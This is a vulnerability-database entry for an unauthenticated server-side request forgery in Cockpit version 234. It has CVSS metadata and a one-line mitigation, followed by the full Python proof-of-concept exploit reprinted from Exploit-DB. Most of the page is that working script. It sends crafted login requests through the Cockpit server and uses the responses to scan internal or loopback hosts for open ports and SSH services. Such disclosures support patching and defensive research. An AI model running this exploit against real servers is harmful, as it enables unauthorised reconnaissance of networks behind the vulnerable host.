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Cockpit
by:
Metin Yunus Kandemir
8.8
CVSS
HIGH
Server-Side Request Forgery (Unauthenticated)
918
CWE
Product Name: Cockpit
Affected Version From: v234
Affected Version To: v234
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04
2021

Cockpit Version 234 – Server-Side Request Forgery (Unauthenticated)

Cockpit Version 234 is vulnerable to Server-Side Request Forgery (Unauthenticated) vulnerability. An attacker can exploit this vulnerability to scan internal or loopback interface of the server. The attacker can also scan for open ports on the server. This vulnerability can be exploited without authentication.

Mitigation:

Update Cockpit to the latest version.
Source

Exploit-DB raw data:

# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
# Date: 08.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://cockpit-project.org/
# Version: v234
# Tested on: Ubuntu 18.04

#!/usr/bin/python3
import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup

"""
Example scanning for internal server:
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
Example scanning for loopback interface of server: 
python3 PoC.py --target 192.168.1.33:9090 
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
"""
    
def main():
    dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
    parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
    parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
    parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
    parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
    args: Namespace = parser.parse_args()

    if args.target:
        target = args.target
        if args.scan:
            scan = args.scan
            if args.ports:
                ports = args.ports
            else:
                ports = "22"
        else:
            scan = "127.0.0.1"
            if args.ports:
                ports = args.ports
            else:
                ports = "22"
        cockpitReq(target, scan, ports)

def cockpitReq(target, scan, ports):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    portRange = ports.split(",")
    for unsafe in portRange:
        headers = {
            "Host": str(target),
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Authorization": "Basic dW5zYWZlOmlubGluZQ==",
            "X-Authorize": "",
            "Connection": "close",
            "Cookie": "cockpit=deleted",
        }
        req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
        time.sleep(2)
        soup = BeautifulSoup(req.text, 'html.parser')
        responseCode = req.status_code
        responseTime = str(req.elapsed)

        if responseCode == 404:
            print("Cockpit server was not found!")
        elif responseCode == 401:
            if soup.title.string == "Authentication failed":
                print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
            elif soup.title.string == "Authentication failed: no-host":
                if responseTime > "0:00:10.000000":
                	print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
                else:
                	print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
            else:
                print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
                print("[-] One bad day!")
                sys.exit(1)
        else:
            print("Something went wrong!")

main()